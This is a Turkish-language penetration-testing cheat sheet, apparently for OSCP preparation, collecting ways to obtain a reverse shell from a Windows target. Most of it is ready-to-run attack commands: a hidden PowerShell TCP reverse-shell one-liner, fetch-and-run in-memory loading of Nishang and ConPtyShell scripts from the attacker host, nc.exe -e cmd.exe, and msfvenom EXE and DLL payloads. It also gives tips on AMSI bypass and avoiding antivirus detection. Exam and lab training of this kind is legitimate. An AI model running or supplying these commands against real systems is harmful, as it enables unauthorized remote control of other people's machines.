FOOTHOLD Metodoloji Cheat-sheet
Post ✓ EXAM-SAFE kolay

Windows Reverse Shell Cephaneliği

Windows hedeften Kali'ye reverse shell almanın tüm yöntemleri: PowerShell one-liner (IEX/TcpClient), nc.exe -e, ConPtyShell ile tam etkileşimli PTY, Nishang Invoke-PowerShellTcp, msfvenom shell_reverse_tcp payload üretimi ve rlwrap ile shell kalitesi iyileştirme.

Bilgi: ÖN KOŞULLAR
  • Hedef üzerinde komut çalıştırma
  • Kali'de dinleyen listener (nc / rlwrap / stty)
  • {{LHOST}} ve {{LPORT}} listener'a yönlenmeli
┌──

Komutlar

nc ✓ EXAM-SAFE
rlwrap nc -lvnp {{LPORT}}
Kali tarafında rlwrap'li listener — ok tuşları ve komut geçmişi çalışır. HackTricks — Reverse Shells (Windows)
powershell ✓ EXAM-SAFE
powershell -nop -W hidden -c "$c=New-Object Net.Sockets.TCPClient('{{LHOST}}',{{LPORT}});$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([Text.Encoding]::ASCII).GetBytes($r+'PS '+(pwd).Path+'> ');$s.Write($sb,0,$sb.Length);$s.Flush()}"
Saf PowerShell TCP reverse shell one-liner — disksiz, en taşınabilir yöntem. HackTricks — Reverse Shells (Windows) / Nishang
powershell ✓ EXAM-SAFE
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://{{LHOST}}/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress {{LHOST}} -Port {{LPORT}}"
Nishang Invoke-PowerShellTcp'i bellekte indirip çalıştırma. AMSI bypass ile birleştirilebilir. Nishang — Invoke-PowerShellTcp
nc.exe ✓ EXAM-SAFE
nc.exe {{LHOST}} {{LPORT}} -e cmd.exe
Klasik netcat reverse shell (-e bayrağı olan derleme gerekir; nc.exe önce hedefe taşınmalı). HackTricks — Reverse Shells (Windows)
powershell ✓ EXAM-SAFE
IEX(IWR http://{{LHOST}}/Invoke-ConPtyShell.ps1 -UseBasicParsing);Invoke-ConPtyShell {{LHOST}} {{LPORT}}
ConPtyShell ile tam etkileşimli PTY — tab-completion, Ctrl-C, vim çalışır. Kali'de stty raw modu gerekir. antonioCoco — ConPtyShell
stty ✓ EXAM-SAFE
stty raw -echo; (stty size; cat) | nc -lvnp {{LPORT}}
ConPtyShell için Kali tarafı: raw terminal + boyut bilgisini iletir, tam fonksiyonel shell sağlar. antonioCoco — ConPtyShell (README)
msfvenom ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o shell.exe
Bağımsız (non-staged) x64 reverse shell EXE üretimi — MSF console gerektirmez, nc listener yeterli. OffSec PWK — msfvenom payloads
msfvenom ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} EXITFUNC=thread -f dll -o evil.dll
DLL formatında reverse shell — DLL hijacking veya rundll32 senaryoları için. OffSec PWK — msfvenom payloads

Genel Mantık

Windows reverse shell almanın iki temel yolu vardır: disksiz PowerShell one-liner’ları (hedefe dosya taşımadan) ve derlenmiş binary (nc.exe, msfvenom EXE/DLL). OSCP’de tercih, hiçbir şey indirmeden çalışan saf PowerShell TCP shell’idir; AV nedeniyle başarısız olursa Nishang + AMSI bypass veya msfvenom’a geçilir.

Listener Hazırlığı

Her zaman önce Kali’de listener başlat: rlwrap nc -lvnp {{LPORT}}. rlwrap ok tuşlarını ve komut geçmişini etkinleştirerek basit cmd/PowerShell shell’lerini çok daha kullanılabilir yapar.

1. Saf PowerShell TCP one-liner

Diskte hiç iz bırakmaz, -nop -W hidden ile pencere gizlenir. TCPClient üzerinden bağlanır, iex ile gelen komutları çalıştırır. En taşınabilir yöntemdir; Base64-encoded -EncodedCommand haline getirilerek tırnak/escape sorunları aşılabilir.

2. Nishang Invoke-PowerShellTcp

Daha temiz bir prompt sağlar. DownloadString ile bellekte yüklenir — diske yazılmaz. Modern Windows’ta AMSI bunu yakalar; bu yüzden genelde help-amsi bypass’ı ile zincirlenir.

3. nc.exe -e

Hedefte -e bayraklı bir nc.exe derlemesi varsa en basit yöntemdir. Ancak nc.exe çoğu AV tarafından flag’lenir ve önce taşınması gerekir (bkz. help-transfer). Yedek seçenek olarak değerlidir.

4. ConPtyShell — tam etkileşimli PTY

Klasik shell’ler PTY değildir: su, sudo, tab-completion, Ctrl-C, text editörler çalışmaz. ConPtyShell, Windows’un ConPTY API’sini kullanarak tam fonksiyonel bir shell sağlar. Kali tarafında stty raw -echo + boyut iletimi ile birlikte kullanılır. Yetki yükseltme sonrası rahat çalışma için en iyi yöntemdir.

5. msfvenom payload üretimi

Payload üretmek OSCP’de serbesttir (otomatik exploitation değildir). windows/x64/shell_reverse_tcp staged olmayan bir payloaddır — Metasploit handler gerektirmez, düz nc listener ile yakalanır. DLL formatı, DLL hijacking (win-dll-hijack) ve unquoted service path senaryolarında işe yarar. EXE’yi taşımak için help-transfer yöntemlerini kullan.

Notlar

  • Architecture’a dikkat: 32-bit powershell.exe (C:\Windows\SysWOW64) bazı 64-bit modülleri yükleyemez. [Environment]::Is64BitProcess ile kontrol et.
  • Shell kopması durumunda Out-String ve hata yönlendirmesi (2>&1) one-liner’da kritiktir.
  • Meterpreter (windows/x64/meterpreter/reverse_tcp) OSCP’de sınırlıdır — kullanımı kısıtlı, exam’da dikkatli ol. Düz shell_reverse_tcp güvenli seçimdir.
┌──

Kaynaklar

0/15 set